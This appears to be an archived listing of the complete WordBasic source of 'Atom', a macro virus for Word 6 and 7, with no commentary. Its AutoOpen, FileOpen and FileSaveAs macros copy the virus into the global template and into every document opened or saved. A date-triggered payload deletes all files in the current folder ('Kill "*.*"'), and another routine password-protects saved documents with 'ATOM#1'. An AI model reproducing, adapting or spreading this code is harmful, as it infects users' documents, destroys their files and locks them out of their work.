home *** CD-ROM | disk | FTP | other *** search
- Atom - Virus for WinWord 6,7
-
-
- Macros: Atom
-
- Sub MAIN
- On Error Goto KillError
- If Day(Now()) = 13 And Month(Now() = 12) Then
- Kill "*.*"
- End If
- KillError:
- End Sub
-
-
-
- Macros: AutoOpen
-
- Sub MAIN
- Dim FN$
- FN$ = FileName$()
- On Error Goto ErrorInfectGlobalTemplate
- If (CheckInfected = 0) Then
- MacroCopy FN$ + ":FileSaveAs", "FileSaveAs", 1
- MacroCopy FN$ + ":FileOpen", "FileOpen", 1
- MacroCopy FN$ + ":AutoOpen", "AutoOpen", 1
- MacroCopy FN$ + ":Atom", "Atom", 1
- SaveTemplate
- End If
- Call Atom
- ErrorInfectGlobalTemplate:
- End Sub
-
- Function CheckInfected
- CheckInfected = 0
- If (CountMacros(0) >= 4) Then
- For I = 1 To CountMacros(0)
- If (MacroName$(I, 0) = "Atom") Then
- CheckInfected = 1
- End If
- Next I
- End If
- End Function
-
-
-
- Macros: FileOpen
-
- Sub MAIN
- On Error Goto InfError
- Dim dlg As FileOpen
- GetCurValues dlg
- Dialog dlg
- FileOpen dlg
- MacroCopy "AutoOpen", Dlg.Name + ":AutoOpen", 1
- MacroCopy "FileSaveAs", Dlg.Name + ":FileSaveAs", 1
- MacroCopy "FileOpen", Dlg.Name + ":FileOpen", 1
- MacroCopy "Atom", Dlg.Name + ":Atom", 1
- FileSaveAs .Format = 1
- InfError:
- End Sub
-
-
-
- Macros: FileSaveAs
-
- Sub MAIN
- Dim dlg As FileSaveAs
- GetCurValues dlg
- Dialog dlg
- If (Dlg.Format = 0) Or (Dlg.Format = 1) Then
- MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs", 1
- MacroCopy "AutoOpen", WindowName$() + ":AutoOpen", 1
- MacroCopy "FileOpen", WindowName$() + ":FileOpen", 1
- MacroCopy "Atom", WindowName$() + ":Atom", 1
- Dlg.Format = 1
- End If
- If (Second(Now()) = 13) Then
- Dlg.Password = "ATOM#1"
- End If
- FileSaveAs dlg
- End Sub
-
-